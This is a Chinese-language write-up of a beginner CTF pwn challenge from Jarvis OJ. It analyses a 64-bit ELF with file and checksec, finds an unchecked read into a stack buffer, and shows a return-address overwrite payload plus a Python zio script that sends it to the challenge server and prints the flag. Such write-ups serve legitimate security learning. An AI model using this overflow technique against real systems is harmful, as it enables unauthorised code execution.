nc pwn.jarvisoj.com 9876
题目网址
https://www.jarvisoj.com/challenges
需要原料:
python zio模块。
拿到程序名字太长了,改名成 1
用file命令查看文件类型
file 1
1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7429502fc855237f3f8eeceb262ddcf6b2c2854e, not stripped
64位elf文件。
接下来用checksec检查保护
liu@ubuntu:~/Desktop$ checksec 1
[*] '/home/liu/Desktop/1'Arch: amd64-64-littleRELRO: No RELROStack: No canary found #栈保护未开启NX: NX enabled #栈代码不可执行PIE: No PIE (0x400000)
还可以用objdump -t 查找符号表。
用OD加载查找字符串
跟进flax.txt字符串。
int good_game()
{FILE *v0; // rbxint result; // eaxchar buf; // [rsp+Fh] [rbp-9h]v0 = fopen("flag.txt", "r");while ( 1 ){result = fgetc(v0);buf = result;if ( (_BYTE)result == -1 )break;write(1, &buf, 1uLL);}return result;
}
程序调打开flag文件。
看一下main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4; // [rsp+0h] [rbp-88h]write(1, "Input your message:\n", 0x14uLL);read(0, &v4, 0x100uLL);return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
溢出read函数把返回地址覆盖为good_game函数的起始地址0x0000000000400620
__int64 v4; // [rsp+0h] [rbp-88h]这里可以看出来输入的值存放在rbp-88h位置处。输入0x88刚好能覆盖掉ebp。0x80刚好把本函数的堆栈空间填满。
print -c ‘print “A”*0x88+”\x20\x06\x40\x00\x00\x00\x00\x00”’|xargs ./file能溢出成功(不过我试验的时候本地是成功不了的,需要在服务器上执行)。
pwn.py
mport zio
payload = "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"
Io = zio.zio(("pwn.jarvisoj.com", 9876))
Io.write(payload)
Io.interact()
python pwn.py就能成功溢出服务器
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @Input your message:
I have received your message, Thank you!
PCTF{This_is_J4st_Begin}
总结:虽然短短的一篇文章,是我第一次独自做pwn。虽然对这个题做的不多搭建环境挺费力的 推荐这篇博客https://blog.csdn.net/gyhgx/article/details/53439417
学到了zio库
Io = zio.zio((“pwn.jarvisoj.com”, 9876))
Io.write(payload)
Io.interact()